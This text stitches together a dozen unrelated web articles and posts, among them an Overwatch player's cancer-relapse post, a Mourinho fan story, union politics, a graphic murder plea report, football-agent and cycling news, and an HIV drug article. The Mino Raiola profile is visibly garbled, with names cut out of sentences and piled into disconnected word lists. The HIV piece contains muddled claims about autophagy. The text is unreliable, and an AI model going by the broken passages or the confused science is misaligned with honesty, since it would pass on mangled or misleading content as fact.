cancer, and I was ready to get my life back on track and start over from step 1. (rip savings..) You'd think I'd have posted this back then, back when I was "cured". I thought about it, but then I started getting caught up with work, taking back 40 hours a week again back at the same job. I wasn't able to play Overwatch as much as I wanted anymore, but I still tried to manage to squeeze some time in there. I was warned of a microscopic chance of my cancer coming back. I'd be lying if I said I hadn't given it much thought. The thought occurred to me every day. I was always scared in the back of my mind, especially only still just recovering, of a resurgence. A few months ago.. my old symptoms returned. The pain returned. I had high hopes that I simply had just burned myself out by working. But then the weight loss came. It wasn't much, but when I looked myself in the mirror before a shower, I could see it -- I'm about 5'2", and I normally manage around 150 pounds and stay chubby/fat because I'm happy with myself like that. A trip to the scale had told me I had lost 10 pounds.. for no apparent reason. I'll get to the point. My cancer is back. I had a CT scan on Tuesday, and after being told it could take up to 72 hours to hear back my results, my doctor had called me 3 hours later to inform me that "the disease" had reoccurred. That there's already a full body scan setup next week to find out how far it's gotten this time. That I'll have to go through everything again a second time to figure this out. I've already cried about it. I'm still crying about it. I'm never not going to cry about it. It's been less than 9 months since my last chemotherapy treatment. It hasn't even been a full year since I was told I would be okay. While I've received verbal support from some friends and family, there was no one but my father who stayed with me and physically helped me out throughout my time of need. He has been one of the best father's anyone could ever ask for, from getting up at 3am to help me with medication to wiping back tears while holding back his own. I'm prepping up for the rest of this year to be a tough one. And I'm turning back to Overwatch in my time of need again to help keep me happy. It's one of the few things I'll be able to do once all my treatments start up again. So thank you, Overwatch team. Thank you for making such an amazing game. Thank you for making characters that I love to play and love to read about in the comics. Thank you for making event after event for all us players, and working tireless hours to create new content and facilitate old content. To keep in touch with your playerbase and constantly review feedback. To even go so far as change how the game works because of player feedback. That's one thing I'll always be grateful for, no matter how many decisions I may find a bit wacky. ;) Thank you for everything you've done since you've created Overwatch. You've helped many players out there have many enjoyable experiences, but you've especially helped me recover through cancer the first time around. And I'm going to be counting on you the second time, too. Thank you. Edit: I honestly did not expect this much positivity or reaction from the community at large. Seriously, thank you everyone who has wished me good luck or is keeping me in their prayers. I've had multiple requests in this thread to set up a gofundme, and while that's not the main reason I set up this thread, I set one up just recently if anyone wanted to help me out. (I don't want this to be labeled as begging for donations, so please don't see it that way.) https://www.gofundme.com/fighting-cancer-one-cell-at-a-time -Sports Illustrated told the story of Abel Rodríguez, a 41-year-old Mexican-American from California, and an obsessive Real fan, who took two weeks' unpaid holiday for the last seven years to volunteer at the team's annual summer trip to Los Angeles. He chased balls and laid out cones for Mourinho and his team of coaches when they visited the Californian city for pre-season friendlies. He woke up at 5am every morning and drove to the UCLA training site, only returning home at 11pm for a few hours' sleep each night. Rodríguez's annual interaction with Mourinho and Los Blancos strengthened his passion for the club and this year he took the decision to withdraw his life savings to fund a trip to Madrid, in a desperate attempt to attend El Clásico before Mourinho left the club. This meant he could not afford a family holiday, but on the insistence of his wife and daughter ("You should go. It's always been your dream") he made the lengthy journey to the Spanish capital. Rodríguez arrived at the club's Valdebebas training complex with no accommodation booked, no ticket for the Mar 3 match against Barcelona, and, crucially, no contact details for Mourinho. The security staff at the training ground refused to let him in and he was forced to sit on the side of the road, in snowy conditions, in a desperate attempt to flag down Mourinho. He waited for five fruitless hours, with only a coat to protect him from the elements, until his luck changed. As Mourinho was leaving his assistant Rui Faria's car he spotted Rodríguez and stopped in his tracks. Mourinho bounded over to Rodríguez and asked to know what the "guy from Los Angeles" was doing nearly 6,000 miles from home. After explaining his quixotic trip to Mourinho, everything changed for Rodríguez. The Special One instantly called for an assistant and arranged for Rodríguez to have his own room at the hotel where Real were staying for the Barcelona match. He ordered Rodríguez to rest up and rejoin them at the training site the next morning. The night before the match the two men met up 90 minutes before sharing dinner with the rest of Mourinho's staff. As they spoke about Rodríguez's plans – he intended to return to LA after El Clásico – Mourinho insisted that he join the club for their trip to Manchester for the round of 16 clash at Old Trafford. "I told him, 'No way, you come to Manchester with us and work as a kit man,'" Mourinho told Sports Illustrated. "'You help us and you live a bigger dream, a Champions League match from the inside!'" Rodríguez lit up and said he would love to join them, insisting he would pay his own way. But Mourinho shook his head, smiled, and said: "When you're with me in Europe, you don't pay for s---." This incredible gesture was too much for Rodríguez and he was overcome with tears of joy. The football gods had repaid him for seven summers of voluntary work and he was about to join the entourage of one of the game's finest managers for a match (in Mourinho's words) "the world is waiting for". Rodríguez attended El Clásico – Real won 2-1 – watching from a good seat and visiting the home side's dressing room afterwards for photographs with Cristiano Ronaldo, Maradona and the Argentine legend's girlfriend. Lifelong ambition fulfilled, it was now time to get down to business. Rodríguez was kitted out in Real's full team gear and given official status as a bag-handler, coaching assistant and good-luck charm (Mourinho and the players were rubbing his stomach for positive vibes). Rodríguez's friends in Los Angeles could see him on their televisions as he walked off the field next to United manager Sir Alex Ferguson and he was even immortalised on YouTube, standing next to Ronaldo in a pre-game clip of the tunnel. A few seconds before that clip was filmed, Javier Hernandez, Rodríguez's compatriot, approached the cleaner to tell him he would be giving him his match jersey at the final whistle. How did he know about Real's good-luck charm? Unbeknown to Rodríguez, Mourinho had approached Hernandez and asked him to do the favour. "These people treated me like I was part of the team," Rodríguez said. "This is something I'll tell my grandkids." Ferguson would not speak to the British press that night – he was in a state of distress after seeing Nani's red card end United's hopes of advancing. But he spoke to Rodríguez, urging him to grab Mourinho for a post-match glass of wine. Rodríguez said: "He came out of the dressing room with a cup of wine in his hand, and he told me, 'Tell José that the wine is ready, and tell him to hurry up.'" Rodríguez's wondrous night continued with him acting as go-between for Robin van Persie and Marcelo when they swapped shirts, and collecting as many keep-safes and mementos as he could. Hernandez, too, followed up on his promise, handing Rodríguez his match shirt with a unique, personalised message. The two spoke, with Hernandez listening in wide-eyed wonder at the Mexican-American's amazing story. "The first thing he said to me was, 'How long have you been working for Real Madrid?'" Rodríguez said to Sports Illustrated. "I said, 'The truth is I don't work for them.' I explained to him what happened, and he looked shocked at the beginning. But he said, 'You know what? That's amazing.'" All the memorabilia he could get his hands on was worth nothing compared to the memories, insisted Rodríguez, and a knowing wink for a job well done from Mourinho on the flight back was a particular highlight. Rodríguez finished his duties as the equipment man by unloading the bags off the plane at Madrid. But his conscientious dedication to his work meant he never had the chance to thank Mourinho, and still doesn't have any contact details. He shared his story with Sports Illustrated to say thank you for a very special night. -Two women known as Diamond and Silk could be Donald Trump’s secret weapon against Hillary Clinton. YouTube sensations Lynette Hardaway and Rochelle Richardson joined Trump for a rally in Greenville, North Carolina on Tuesday. Hardaway tore into Clinton as Richardson provided verbal punctuation. “Now she said the other day there’s smoke, but there’s no fire,” Hardaway said of Clinton. “So I said, okay, Benghazi, housing emails on that private server, missing emails, pay-for-play schemes, funneling and tunneling money through that Clinton Foundation. “Opening classified emails and she doesn’t even understand the ‘C’ stands for classified,” Hardaway continued. “I guess she must have thought it stood for ‘Clinton cash,'” she said to roars from the audience. “Now, Hillary, oh Hillary, we know that you told the FBI over 30-some times that you couldn’t remember, but in case you forgot, this is something we learned in school: There can be no smoke without fire!” Hardaway shouted as the audience erupted. “Where there’s smoke, the alarms go off,” she continued, “and we the American people are alarmed. “It is time for people to stop, drop and roll away from that Democratic plantation.” She urged her fellow black Americans to join her on the “Trump train.” “You don’t have to reach down for crumbs, you can start reaching up for the stars, baby,” Hardaway said. -Collection of unusual and creative hotels that are committed to providing unforgettable experiences for its guests. Floating Hotel in Sweden At this hotel, guests can work and socialize in an inspiring environment, enjoy good food and drink, and then fall asleep to the sound of lapping waves. [more] Sand Hotel in United Kingdom World’s first sand castle hotel at Weymouth beach in the seaside Town of Dorset in the UK. Jungle Hotel in Mexico V-Houses, an amazing jungle retreat near the fishing village of Yelapa in tropical Mexico. Ice Hotel in Canada Unique ice and snow hotel offers a distinctive and incomparable experience that disappears every spring. Capsule Hotel in Japan Modern hotel where the guest space is reduced in size to a modular plastic or fiberglass block, providing enough room to sleep. Survival Pod Hotel in Netherlands The Capsule Hotel, which consists of oil rig survival pods, is located on a canal in Amsterdam. Cave Hotel in Turkey Unusual hotel offers fabulous atmosphere in exotic setting. Airplane Hotel in Sweden Now you can spend the night on-board a real jumbo jet… [more] Treehouse Hotel in India Eco-friendly jungle getaway located in the heart of Mudumalai Wildlife Sanctuary. Get ready for wonderful and amazing experiences. Prison Hotel in Germany Former German prison turned hotel offers guests a jailhouse experience, with a possibility of walking out whenever they like. [more] Underwater Hotel in Fiji World’s first undersea resort located on a private island in Fiji. Poseidon Resorts offers exciting adventures with luxury accommodation. Drain Pipe Hotel in Austria Cool hotel constructed from repurposed incredibly robust drain pipes. [more] Also check out: Batman Hotel, Space Hotel, and Graffiti Hotel -There is an unfortunate tendency for articles nowadays to have sensationalist “click-bait” headlines, but by any standards the aggressive spin put on Michael Chessum’s latest piece in the New Statesman is highly unfortunate. The headline screams “It’s time for Jeremy Corbyn’s supporters to take on the trade union leadership”. Nothing could be more counterproductive than seeking to mobilize supporters of Jeremy Corbyn in the Labour Party to intervene in internal union politics. Trade unions are organizations that have their own rule books, decision making structures and autonomous interests. The lay activists who participate in the decision making processes, and who are elected and delegated to conferences and to sit on committees, are the same lay activists who represent their work colleagues in disciplinary and grievance hearings, who negotiate with management, who recruit to the union on a daily basis, who hold the participatory branch, sectional and regional structures together, and campaign on industrial and political issues. Many thousands of these lay member activist in trade unions also support Jeremy Corbyn, and it is highly mischievous and irresponsible for Michael to misrepresent such activists as potential agents of disruption within their own unions. From my experience the deliberations on policy issues within trade unions are serious and well informed, based upon the expert opinions of those with experience in the industries or sectors whose interests are at stake, and informed by other expert opinion commissioned by or researched by the unions themselves. Michael Cheesum seems to be suggesting that pressure should be applied to unions from outside to subvert the outcomes of such democratic decision making. This is a fundamental breach of the well established protocols whereby the political and industrial wings of the party operate in a spirit of mutual restraint. As Lewis Minkin describes in his magnum opus The Contentious Alliance – Trade Unions and the Labour Party the development of unwritten “rules” governing the relationship between the unions and the party have arisen over many years, and effectively derived “from fundamental values of trade unionism”. Trade unionism is inherently based upon collectivism, and preserving the autonomy of collective organisation from constraint. It is collective organisation which counterbalances the disparity of wealth and power between employers and individual workers. As Minkin describes: Through their collective capacity, the liberty of the individual worker was enhanced via-a-vis the employer. Through the collective, workers increased their control over the work environment. Through the collective, workers advanced living standards without which a simple “absence of restraint” was often the freedom to go without, to grow sick or starve. This view of collective capacity involved minimizing impediments to the operation of the industrial collective, whether they were external or internal to the organisation. By its nature, this involved restricting individual rights in relation to the collective (albeit a democratic collective). Whatever libertarian views trade unionists might hold about individual rights in a wide social and political sphere, they recognized the necessity in industrial life to accept some diminution of choice in one relationship in order to enhance it in another This concept of liberty as being a mediated one through respect for the collective is one that dovetails with the moral underpinnings of labourism as associated with thinkers as diverse as R H Tawney and Tony Benn. For example, the astute observation of RH Tawney is that liberty is related to equality. If freedom is defined as absence of restraint, then liberty promotes inequality, because the more powerful in our society have less constraints upon them, and the majority of the population will always be unfree. For Tawney, true liberty is the freedom to act positively for the benefit of the community, and being empowered to resist the tyrannical demands of the rich and powerful. Trade unionism is therefore inherently virtuous through being founded upon collectivity and mutual support, rather than individualism and personal acquisitiveness. It is worth looking at Michael’s views in more detail. He writes The logic that drives unions to support projects like Heathrow expansion – and which drives the GMB union to support fracking and Trident renewal – is grounded in a model of trade unionism which focuses not on transforming the workplace, but on the narrowly-defined interests of workers – job creation, economic growth and a larger share of the pie. It views the trade union movement not as merely antagonistic to employers, but as a responsible lobbying partner for business and industry, and as a means of mediating workers’ demands in a way that is steady and acceptable to the state and the economic system. This model, and the politics that accompanied it, is why, historically, trade unions were a conservative influence on Labour’s internal politics. The description of the unions as a “conservative influence” is spookily close to that of Tony Blair, who used to rail against unions as the forces of conservatism because unions resolutely advocated economic growth and good, well paid, high skilled jobs, and resisted his deregulation and privatization. Of course Michael Chessum has different objectives to Blair, but in his case he considers unions to be conservative because they advocate economic growth and good, well paid, high skilled jobs in the face of sometimes ill-considered and knee-jerk policies from parts of the fashionable left. It is hard to know what Michael means by “transforming the workplace”, which he thinks trade unions don’t currently do. Let us look at the premium that workers in organized workplaces enjoy. According to a 2014 booklet by the TUC: In the public sector, for every £10,000 that a non-member earns, a union member on average earns around £1,690 more; in the private sector it’s around £580 more. Over the period 2001–2013 union members were on average a third more likely to have received training than nonunionised employees. Union membership brings the greatest financial benefits for young workers: 16- to 24-year-old union members earn 38 per cent more than their non-union counterparts. Union members also have more paid holidays, with 3.8 days more paid holiday than non-members (25.5 days compared with 21.7 days). Workplaces with unions have far fewer accidents, according to a 2007 study. To take two examples over the last couple of weeks, the solicitors Leigh Day won the first stage of a legal campaign to force ASDA to give equal pay to the mainly female retail workforce compared to mainly male workers doing similar work in distribution. With the same employer, GMB national negotiators recently gained agreement from ASDA that they would cease the individual monitoring of scanning rates in stores, which colleagues were finding oppressive and demeaning. These are both examples of trade union organization making a real difference. The workplace is transformed when workers have a strong independent organization which allows employees to redress injustice, and gain greater respect. Michael seems to believe that unions are failing their members if we are not involved in ceaseless class warfare. However, while recognizing that in the final analysis employers may have potentially antagonistic interests to their workforce, it is also true that employees do have a material interest in their employer’s business prospering: there is no point is advocating higher wages if employers don’t have the means to pay them. Where an employer treats their workforce with respect and dignity, then trade unions do have a legitimate interest in advancing the business prospects of such good employers, thus benefiting their members. Currently, with perhaps the exceptions of Community and USDAW, every British trade union has a leadership that historically could be regarded on the centre left; and the claim by Michael that trade unions mediate “workers’ demands in a way that is steady and acceptable to the state and the economic system” is nonsense. The constraint on militant industrial trade unionism in the modern world is due not to timid nor bureaucratic leadership, but deep seated difficulties of organizing workers in workplaces blighted by casualization, bogus self employment, low union densities and not enough experienced lay activists. Indeed it is worth reflecting, as Gregor Gall did in his recent Huffington Post article, that far from being unimaginative, unions – especially Unite and GMB – have been very innovative in combining political, legal and media pressure on employers, such as Uber, Asos and Sports Direct. The challenge for such campaigning tactics is ensuring that they are financially sustainable for the unions in the longer terms by both recruiting and maintaining paid membership. Ultimately, however innovative trade unions may be at using our political and campaigning leverage, the foundation of union power is industrial strength. This is why Michael Chessum’s article is so disappointing. Whereas the locus of purely political campaigning is constantly pulled towards Westminster, and a schedule of elections that is dis-empowering for activists, trade unionism is geographically dispersed and workplace injustice happens every day, giving activists an opportunity to make real change for the better. The biggest opportunity for building a powerful campaigning left is not to encourage Corbyn’s supporters to challenge the leadership of the unions, as Michael rather foolishly does, it is to encourage activists to join and recruit to the unions where they live and work, and to help us all together to build the strong industrial organization that can empower working people to improve their own lives. -Earlier today, former MMA fighter Jarrod Wyatt pled guilty to first degree murder and mayhem for one of the more grotesquely violent crimes in recent memory; in 2010, Wyatt cut an 18-inch hole in his friend and sparring partner Taylor Powell's chest before ripping out Powell's heart, tongue and face, all while tripping on mushrooms. As part of his plea Wyatt will serve at least 50 years in prison. Fifty years does sound like a pretty good deal considering the barbaric nature of the crime, the scene of which is somehow more horrific than you'd imagine: When police arrived that day at a home at the mouth of the Klamath River, they found Wyatt naked and covered in blood. He told the officers, "I killed him," and said he had cut out Powell's heart and tongue, according to court documents. The officers found Powell's body on the couch of the Requa home. His chest was cut open, and his heart, tongue and the skin of his face were gone, court records said. His heart was found charred in a wood-burning stove. An autopsy determined the organs had been removed while Powell was still alive, the documents said. There's a lesson here, one from which we can all learn, and it is: under no circumstances should you ever take mushrooms with someone whose job is to maul people into submission while trapped in a steel cage. [Image via AP] -Just over six months after facilitating Zlatan Ibrahimovic's switch to PSG, the 45-year-old Italian was back in the news for masterminding yet another massive transfer Mino Raiola’s Maguire Napoli Laurentiis Raiola Maguire kwan Mino Raiola Agri Haarlem Raiola Raiola Haarlem RAIOLA'S WHEELING & DEALING ZLATAN IBRAHIMOVIC The Swede has made five permanent moves since hooking up with Raiola in 2004 for an estimated cumulative total of €165 million. MARIO BALOTELLI Raiola engineered the €30m switch from Inter to Manchester City in 2010 and has now brought him back to Milan, to the Rossoneri , for €22m. ROBINHO The Brazilian wanted to swap City for Barcelona in 2010 but Raiola , who wasn't even Robinho's agent, intervened and sent him to Milan. PAVEL NEDVED Again, Raiola wasn't technically representing Nedved when he left Lazio for Juventus in 2001, but the agent brokered the €41m transfer. MAXWELL The defender officially came under Raiola 's wing in 2009 and has since made two lucrative moves, to Barcelona and then PSG. Raiola “The president of Haarlem came to eat with us every Friday,” he explained in an interview with Secolo Raiola Raiola , having honed his skills as a mediator while working as a broker for Dutch businessmen with commercial interests in Italy, negotiated a deal with the player’s union in Netherlands that enabled him to represent all of the country’s footballers. Napoli Partenopei Corrado Ferlaino Bergkamp Bergkamp Wim Jonk Nerazzurri Raiola Serie Foggia Raiola Raiola Zlatan Ibrahimovic Juventus Calciopoli Bianconeri Moggi Raiola Moggi : "You and Ibra continue to make trouble. Don't send him to training ..." Raiola Pogba Trafford Pogba Laurentiis Raiola Marek Hamsik Raiola Laurentiis Hamsik Raiola insists otherwise, though, claiming that he only ever does right by his clients, arguing that he does not engineer transfers, but merely facilitates them. Pogba Ibrahimovic’s "I think that when a player decides to leave a team, he should leave ... The old agents worked in the interests of the club. For me, the player comes first " - Mino Raiola Balotelli Siro Balotelli Ballon Ibrahimovic Raiola Mino Raiola By Mark Doyleaccountancy firm is calledTax & Legal, its name inspired by an Oscar-winning movie starring Tom Cruise.president Aurelio Dewould no doubt be offended by the insinuation thatis in any way similar to Jerry, the fictional sports agent who comes to champion love (or “”) over greed, but many of his clients would argue that the comparison is just.Welcome to the divisive - yet lucrative - world of, super agent.The 45-year-old was born in, Italy, but his parents emigrated to Netherlands when he was still an infant, settling in. It was in this Dutch municipality thatwas raised before taking the first steps to becoming one of the most influential agents in football.Although it might not look it now,was a moderately talented player in his youth and he played for his local club before quitting the game at just 18. However, while he started studying law, he had not lost his passion for football, electing to take charge of theyouth team.Even at such a tender age,was a straight-talker with a distinct lack of respect for any figure of authority other than his restaurateur father.IlXIX two years ago. “I was always telling him that he knew nothing about football. One day he takes me aside and says: ‘Listen, you try it.’ He appointed me sporting director.”, though, became frustrated by his inability to make what he reckoned were the requisite changes due to a lack of funds. However, with Dutch players very much in vogue in the mid-1980s, he saw that there was money to be made in selling his adopted nation’s top footballing talent to Italy, which was then the centre of the footballing universe.His goal at this point was to establish a special working relationship with, “the club of my heart”. However, the deal collapsed. "I called [thenpresident. We started the collaboration. I offered him [Dennis]for 700 million lire [€362,000]. He hesitated. Two years later [1993], he offered €14 million, but I gave the player to Inter."With thedeal, which also sawjoin thefrom Ajax,had established himself as a major player inA, coming as it did a year after Bryan Roy's successful switch from Amsterdam toWhat was clear at this juncture was thatwas adept at making his clients happy. However, clubs were becoming increasingly concerned by his methods.Indeed, Ajax, who had profited substantially from-arranged deals during the early '90s, were less enamoured with the way in which star forwardleft forin 2004. Their ill-feeling only intensified two years later when the fallout fromled to the release of the following recorded telephone exchanges between thenmanaging director LucianoandRaiola: "Tomorrow, I'll keep the player at home all day; he won't show up for training. I then have an appointment with the directors of Ajax at noon, but I'll come at two ..."'s influence on players was also queried by Manchester United boss Sir Alex Ferguson during his club’s ultimately futile attempts to persuade former midfielder Paulto remain at Oldlast year. “He [] has got an agent who’s obviously become a bit difficult ...”Meanwhile, the aforementioned Dewas, unsurprisingly, far more blunt when it came to addressingand the agent's all-too-public protestations that, who is not even officially a client, should leave the San Paolo in order to better himself as a player. "," Demused. "He's a pain in the backside, who, for years, has been trying to takeaway.""I think that when a player decides to leave a team he should leave," he reasons. "I have never made compromises; I work exclusively in the interest of my client. The players are my fortune and I have a great responsibility towards them. However, I have never carried out improper activity or activity that I, personally, do not think proper. The old agents favoured the interests of the club. For me, the player comes first.”Whatever the truth, this is a man with an undeniable way with words who knows how to sell himself, and his players. He has memorably comparedwith a Salvador Dali painting and claimed thatmove to Paris Saint-Germain has provided visitors to the French capital with something to see other than the Mona Lisa. However, while he speaks eight languages (Italian, Dutch, French, English, German, Spanish, Portuguese and "of course Neapolitan"), he rather humbly puts his impressive linguistic capabilities down to "preparation, not intelligence".Whatever it is, he is incredibly canny. He has cultivated a mutually beneficial relationship with Milan, as further evidenced by his masterminding of Mario's recent switch to San, and he has also proven himself wonderfully adept at massaging the ego of his players. He told a teenagethat he would make him a three-timed’Or winner, yet says the same award will be rendered meaningless if it is never given toSuch contradictions lie at the very heart of the role of agents in the modern game. Yes, the world of football would be a beautiful place if there were no agents, but it is a pipe dream, as football is no longer a sport, but big business. "We live in a cynical world," as Dicky Fox says in 'Jerry Maguire'. "A cynical world. And we work in a business of tough competitors."Consequently, there will always be a need for people like. Love him or loathe him, one cannot deny that he is very good at what he does. The man himself says he resolves problems. His detractors say that he creates them. Perhaps the truth is somewhere in between - and perhaps utterly irrelevant because the bottom line is thatmakes money. Both for his clients - and himself. -moda-center-rendering.jpg Moda Health, sponsor of the Blazers' arena, scored a major victory at the U.S. Court of Claims on Thursday. Photo courtesy of the Moda Center (Courtesy of Moda Center) Moda Health, the Oregon health insurer that has struggled in the era of the Affordable Care Act, finally got some good news Thursday. The U.S. Court of Claims issued a strongly worded opinion that the federal government must pay Moda $214 million it had earlier reneged on. "The Court finds that the Government made a promise in the risk corridors program that it has yet to fulfill," wrote Judge Thomas Wheeler . "Today, the Court directs the Government to fulfill that promise. After all, to say to [Moda], 'The joke is on you. You shouldn't have trusted us,' is hardly worthy of our great government." The government's risk corridor program promised significant financial assistance to companies if they agreed to participate in the insurance exchanges created by the Affordable Care Act and then lost money. Moda enthusiastically jumped into the program and proceeded to hemorrhage red ink for three consecutive years. Moda sought hundreds of millions of dollars. The Centers for Medicare and Medicaid paid out just over $11 million to Moda in 2014 and nothing in 2015 or 2016. Robert Gootee, Moda's chief executive, has said his company never would have jumped so aggressively into the new markets created by the Affordable Care Act if it knew the federal government was going to renege on its obligations. Moda's parent company was forced this spring to sell off assets and borrow additional funds in order to replenish its depleted capital reserves. Oregon's Department of Consumer and Business Services took Moda into supervision last January. Moda staved off being put into receivership only after raising more than $100 million in fresh capital. Other insurance companies have filed similar claims seeking billions of dollars. Here in Oregon, Health Republic and Oregon's Health Co-op, two of the new health insurance co-ops created by the Affordable Care Act, closed their doors in part because their risk corridor money never materialized. Health Republic is the lead plaintiff in a class-action suit of insurers. Dawn Bonder, founder and former chief executive of Health Republic, said the Moda ruling is welcome news for her litigation. But she fears the Trump administration and Republican Congress will appeal the ruling in order to avoid what Republicans have called an "insurance-industry bailout." "It's great news, I'm very happy," Bonder said. "But it's not over." The Affordable Care Act set off a bitter partisan war in Washington, D.C. The risk corridor program was essentially defunded by Congressional Republicans in late 2014. "The Republicans sabotaged the program," said Nick Bagley, a University of Michigan law school professor. Amid the political sniping, Moda, Health Republic and other insurers were collateral damage. -- Jeff Manning 503-294-7606, jmanning@oregonian.com -Movistar director says the Spanish team is standing by its decision to send Quintana to Italy, even with Sky showing weakness GENT, Belgium (VN) — Many are still scratching their heads over Movistar’s insistence to send Colombian sensation Nairo Quintana (Movistar) to the Giro d’Italia instead of the Tour de France. Quintana was the revelation of the 2013 Tour, winning a stage, two jerseys, and pushing Chris Froome (Sky) to his limit in the mountains en route to a South American-best second overall. Despite a strong start to the season and a Tour route well-suited to Quintana’s abilities, Movistar is sticking to its decision to steer the Colombian clear of France this summer. Movistar confirmed to VeloNews this week that there would be no mid-season adjustments, and Quintana will not race the Tour. “What is sure, if Nairo races the Giro, he won’t race the Tour,” Movistar sport director José Luis Jaimerena told VeloNews . “OK, if something happens, and he cannot race the Giro, we’ll see, but what he certainly will not do is race the Giro and then the Tour.” Why not strike while the iron is hot with Quintana? Movistar made its rather contrarian decision not to return to the Tour with Quintana last fall, something that appeared to catch even the team’s budding star by surprise. Even into January’s Tour de San Luís, which Quintana handily won, he was still holding out hope that he could race the Tour again, as he would like to. The Colombian wants to become the first South American to win the Tour, but Movistar officials had to work hard to convince Quintana that the best path to a future Tour win included first racing to win the Giro. “The easy thing would be to say, ‘yes, the Tour, Tour, Tour,’ but we believe we must also go forward with a bit calm,” Jaimerena said. “Because if we go back to the Tour, well, after second, you have to win … that’s a lot of pressure.” In February, Movistar publicly revealed that Quintana would race the Giro, a decision that eliminates one of Froome’s most dangerous rivals from the startlist. Since then, especially in light of a few Sky hiccups in early 2014, many hoped, especially in Colombia, that Quintana might be cut loose on the Tour after all. Movistar is sticking to its plan, however. Jaimerena insisted this week that Quintana, who is only in his third pro season, still needs space to grow, and the best place to do that, he says, is the Giro. “Nairo is still very young, he is still developing his skills, his strength,” Jaimerena said. “Some say, ‘well, look what they did, they don’t take him to the Tour.’ He has a lot of road ahead of him. He is only 24.” And the team has other ambitions as well. With a climbing-heavy world championships course waiting in northern Spain, Quintana will also race the Vuelta a España, with one eye on GC ambitions, and the other on hitting peak form in time for the worlds. No Colombian has ever won the elite men’s rainbow jersey on the road, and the Colombians will bring a stacked team to Ponferrada, with Quintana playing a key role. The Valverde factor And then there’s Alejandro Valverde. The veteran Spanish rider has been Movistar’s franchise man since 2005. The team stuck by him during his controversial two-year ban for links to the Operación Puerto doping scandal, and it wants to give Valverde one last shot at the Tour. Quintana’s rise last year was in part thanks to bad luck suffered by Valverde in stage 13 at the Tour, when a mechanical cost him 10 minutes and all hopes of the podium, despite riding out of the Pyrénées seemingly secure in second behind Froome. That opened the door for Quintana, but Valverde still managed to finish eighth. Movistar and Valverde both believe that if the Spaniard, who turns 34 in April, can avoid similar disaster, he has the legs to reach the podium in Paris. With Quintana waiting in the wings, Valverde also knows this could be his last shot at the Tour podium. And as much as this year’s course might be good for Quintana, it favors Valverde even more. With only one time trial, slotted in on the penultimate day, and with all the hard climbing packed into the second week, Valverde could be this year’s dark horse for the yellow jersey. To make sure he’s prepared for the pavé waiting in stage 5 of this year’s Tour, Valverde was one of a few Tour GC favorites who decided to skip the Volta a Catalunya, instead racing in Belgium for a taste of cobblestones. Valverde raced both Dwars door Vlaanderen and E3 Harelbeke last week, with Jaimerena telling VeloNews that Valverde, who rode into a late breakaway in the former, “passed the exam with honor.” Quintana racing to win the Giro According to team management, Movistar brass simply believe it’s a better for Quintana’s young career to send him to the Giro, where he can race to win what would be his first grand tour, rather than return to the Tour with too many expectations, and face off against an ever-confident Froome. “It’s going to be a great Giro,” Jaimerena said. “Nairo is not the only favorite. It’s a great field in the Giro. And I think it would be wonderful if Nairo could win the pink jersey. The Giro is a beautiful race, too.” -This is the embarrassing moment Mexico's most famous burlesque dancer lost her wig during a live TV performance. Liliana Mayanes, 64, was a 'sex symbol' in her 1970s heyday but a return to the dancefloor went horribly wrong. Trying to prove that she still had her moves, the star better known as Lyn May performed on talk show Sale el Sol. This is the embarrassing moment Mexico's most famous burlesque dancer lost her wig during a live TV performance Footage of the show shows her wearing a revealing red bra and skirt as she shimmies around and flicks her hair back and forth. As she throws her head forwards, she loses her wig but manages to grab it. She tries to put it back on her head as she continues her moves but to no avail. The black wig then falls the floor behind her as she carries on her routine, all too aware of the mishap. Afterwards the laughing star took the incident in her stride, saying it was not the first time she had been caught out on live television. Liliana Mayanes, 64, was a sex symbol in her 1970s heyday but a return to the dancefloor went horribly wrong as her wig fell off Footage of the show shows her wearing a revealing red bra and skirt as she shimmies around and flicks her hair back and forth She recalled how she was doing a routine once when her hot pants fell down during a show in Aguascalientes, Mexico. She said: 'I am laughing. You have to. If my hot pants fall too I have to start laughing. It is an issue that comes with the job.' Lyn was born in Mexico but her Chinese ancestry is said to have captivated Mexicans in the 70s. -A new drug figured out how to provide long-acting HIV defense — with as little as one to two doses a year! The dream of long-acting HIV drugs is becoming a reality each and every day, thanks to sophisticated medical breakthroughs. One of the newest drugs to get our attention has shown promise in creating HIV drugs that can be administered once or twice a year. As published in the Journal of Clinical Investigation, researchers developed a drug called URMC-099, which has the purpose of lifting the brakes on a process called autophagy. What is autophagy, you ask? It works like this: Autophagy is a process our cells use to rid itself of waste, thus allowing them to invade viruses. Without it, our cells are vulnerable to becoming consumed by viruses. HIV in particular prevents autophagy from happening altogether, which is why it's so hard to kill. But scientists have found a way to lift HIV's brake on autophagy. As a result, cells are free of the virus for longer periods of time. URMC-099 turns autophagy back on in our cells. When combined with nanoformulated antiretroviral drugs, it has potential of unleashing a long-acting HIV defense. While strategies of developing an HIV vaccine to give lifetime protection from the virus are taking place around the world, URMC-099 seems to be closest to production. Researchers tested URMC-099 in combo with nanoformulations of two FDA-approved HIV medications (a protease inhibitor called atazanavir and an integrate inhibitor called dolutegravir), according to the study. Experiments were done using human immune cells and in mice engineered to have a human immune system. After these experiments, it was found that URMC-099’s initiation of autophagy allowed the HIV drugs to be in cells for a longer period of time — nearly 50 times longer! URMC-099 developer Harris A. Gelbard, professor and director of the Center of Neural Development and Disease at the University of Rochester said the treatment will be mobilized for human use in the next five years. “This study shows that URMC-099 has the potential to reduce the frequency of HIV therapy, which would eliminate the burden of daily treatment, greatly increase compliance and help people better manage the disease,” Gelbard said to Futurity.org. -By the time Paul Morphy was felled by a stroke on July 10, 1884, he had become an odd and familiar presence on Canal Street in New Orleans: a trim little man in sack suit and monocle, muttering to himself, smiling at his own conceits, swinging his cane at most who dared approach. Sometimes he would take a fancy to a passing woman and following her for hours at a distance. He lived in fear of being poisoned, eating only food prepared by his mother or sister, and he believed that neighborhood barbers were conspiring to slit his throat. His family tried to have him committed to an asylum, but he argued his sanity so convincingly that the authorities declined to admit him. It had been a quarter-century since he became a world-renowned chess champion, and for the last decade of his life he was loath to discuss the game at all. No one could say with certainty what prompted Morphy’s slow decline, but the discovery of his genius in 1846 remained legendary. Morphy, at age 9, was sitting on his family’s back porch as his uncle and father, a justice on the Louisiana State Supreme Court, played chess. After several hours, the men declared the match a draw and moved to sweep away the pieces. Morphy stopped them. “Uncle,” he said, “you should have won that game.” He maneuvered the pieces and explained: “Here it is: check with the rook, now the king has to take it, and the rest is easy.” And he was right. Soon afterward, Major General Winfield Scott, who had a reputation as a skilled player, stayed in New Orleans for five days while he was en route to the Mexican War. He asked an acquaintance at the chess club on Royal Street to find him a worthy opponent, and at eight o’clock that evening Scott found himself sitting across from Morphy, 